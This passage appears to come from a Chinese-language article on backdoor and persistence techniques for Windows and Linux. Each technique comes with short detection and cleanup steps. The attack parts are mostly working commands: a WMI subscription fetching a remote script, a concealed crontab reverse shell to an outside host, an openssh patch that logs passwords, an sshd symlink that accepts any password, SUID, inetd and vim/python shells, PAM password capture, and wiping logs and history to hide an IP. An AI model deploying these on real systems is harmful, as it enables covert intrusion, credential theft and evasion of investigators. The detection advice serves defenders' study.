Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://host.com/test\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};管理员执行:
mofcomp test.mof创建服务
sc create [ServerName] binPath= BinaryPathName替换我的电脑快捷方式启动参数 https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1
参考:利用BHO实现IE浏览器劫持
每60分钟反弹一次shell给dns.wuyun.org的53端口
#!bash
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。这就是为什么在watchdogs挖矿木马中使用top、ps等命令无法发现挖矿进程的原因,这种后门推荐使用静态编译的ls、ps等命令或者busybox进行查找。
可参考:
检测
echo $LD_PRELOAD
#默认无输出,如果有输出就需要去看下文件是否为异常文件了清除
unset LD_PRELOAD
#使用命令unset LD_PRELOAD即可卸载使用LD_PRELOAD环境变量安装的恶意动态链接库
检测
1、文件完整性检测
修改了默认的动态链接库后文件完整性发生变化,可以使用rpm等来校验
首先获取系统中的动态链接器的文件路径(interp段指定了动态链接器的位置)
readelf -a /bin/ps | grep interpreter
然后判断该动态链接器文件的完整性
busybox ls -al /usr/local/lib/libioset.so
rpm -Vf /usr/local/lib/libioset.so
2、使用strace
strace可以跟踪一个进程执行时所产生的系统调用,包括参数,返回值,执行消耗的时间和所接收的信号
strace -f -e trace=file /bin/ps
-f 表示同时跟踪fork和vfork出来的进程
-e trace=file 表示只跟踪有关文件操作的系统调用清除
清除调用的对应恶意文件即可
使用strace检测预加载型动态链接库后门,它可以跟踪任何进程的系统调用和数据,所以strace同样可以作为后门,比如用来记录ssh,su,sudo的数据。
首先找到sshd的进程PID
ps -ef | grep sshd #父进程PID然后写入文件
strace -f -p 2908 -o /tmp/.ssh.log -e trace=read,write -s 2048同样的,可以通过配置用户目录下.login配置获取ssh明文密码
#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
#su,sudo同样的道理检测
查看shell的配置文件或者alias命令即可发现,例如~/.bashrc或~/.zshrc文件查看是否有恶意的alias通过在openssh源码中插入恶意代码并进行重新编译来替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。在openssh目录中找到includes.h文件。
#vim includes.h
int secret_ok;
FILE *f;
#define ILOG "/tmp/.ilog" #记录登录到本机的用户名和密码
#define OLOG "/tmp/.olog" #记录本机登录到远程的用户名和密码
#define SECRETPW "secpulse.com" #为自己的登录密码
#endif /* INCLUDES_H */
#编译,重启服务
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make clean
make && make install
systemctl restart sshd.servicePS: 如果记录日志放在web下,记得清理掉访问日志。
export HISTFILE=/dev/null
export HISTFILESIZE=0
sed -i '/192.168.2.11/d' /etc/httpd/logs/access_log*
sed -i '/192.168.2.11/d' /root/.bash_history
echo > /root/.bash_history检测
1、查看Openssh版本
ssh -V
2、查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
#时间和版本都是可以修改的,所以不靠谱
3、查看日志
more /var/log/secure | grep "Accepted" | awk '{print $11}' | uniq
4、通过strace监控sshd进程读写文件的操作
ps axu | grep sshd | grep -v grep #sshd父进程ID
strace -o sshd -ff -p 2908
grep open sshd* | grep -v -e No -e null -e denied| grep WR
5、一般的openssh后门都会将账户密码记录到文件或者发送到邮箱中
strings /usr/sbin/sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'
strings /usr/sbin/sshd |grep '@'清除
重装或者更新到最新版本
修改文件并重新编译在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名(如: /tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
1、服务端执行
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345
2、客户端执行
ssh root@x.x.x.x -p 12345
#输入任意密码就可以root用户权限登陆了,如果root用户被禁止登陆时,可以利用其他存在的用户身份登陆,比如:ubuntu
检测
1、查看可疑端口
netstat -antlp
2、查看可执行文件
ls -al /tmp/su清除
1、禁止PAM认证
vim /etc/ssh/sshd_config
UsePAM no
2、重载
/etc/init.d/sshd reload
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
服务端执行:
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' > sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
客户端执行:
socat STDIO TCP4:192.168.2.11:22,souceport=19526
#其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A检测
检查网络链接情况及文件
cat /usr/sbin/sshd清除
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;vim当前用户下的.bashrc文件,末尾添加
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
然后更新
source .bashrc当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:
可以利用webshell进行利用
#vim suid.c
#include<stdlib.h>
main () {
setuid(0);
system("/bin/bash");
}
编译成二进制文件
gcc suid.c -o suidshell
赋予suid权限
chmod 4755 suidshell
chmod u+s suidshell
假设webshell权限较低,希望使用suid shell执行root命令,通过web的方式调用
http://localhost/suid.php?path=/tmp/suidshell&cmd=id
即可以root的权限执行命令id
检测
查找具有suid权限的文件即可
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null清除
清除文件即可inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,其实有很多比较古老的服务都是基于此守护进程的。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
#修改/etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
开启inetd:
inetd
#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门
#比如,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口,以实现隐藏检测
查看配置文件即可
/etc/inetd.conf 清除
关闭服务
删除配置文件适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
具体详情请参考:Weapons of Text Destruction
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)检测
由于是通过vim执行的,所以使用ps和netstat仍可以看到vim的相关进程
netstat -antlp | grep vim
more /proc/PID/cmdline
more /proc/PID/maps | grep python清除
#清除进程即可
netstat -antlp | awk '{print $7}' | grep vim | awk -F/ '{print $1}' | xargs kill -9 PAM使用配置 /etc/pam.d/下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security下的模块。PAM配置可分为四个参数: 模块类型、控制标记、模块路径、模块参数,例如: session required pam_selinux.so open
上面提到的sshd软链接后门利用的PAM机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中,以此来记录管理员的帐号密码。
利用步骤:
复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok
#确保ssh开启pam支持
vim /etc/ssh/sshd_config
UsePAM yes
#自动化脚本
https://github.com/litsand/shell/blob/master/pam.sh
检测
1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位清除
yum reinstall pam从技术上说,获取其它的进程并修改它一般是通过操作系统提供的调试接口来实现的,在linux中具有调试功能的工具有ptrace、Gdb、radare2、strace等,这些工具都是使用ptrace这个系统调用来提供服务的。ptrace系统调用允许一个进程去调试另外一个进程。
可参考:
GitHub存在大量开源工具,比如: linux-inject,主要原理是使用ptrace向进程中注入恶意so文件
#./inject [-n process-name] [-p pid] [library-to-inject]
./inject -n sample-target sample-library.sorootkit分为内核级和应用级两种:
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件(利用/proc?)
检测
使用相关检测工具,比如:unhide后门和权限维持的一些方法
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。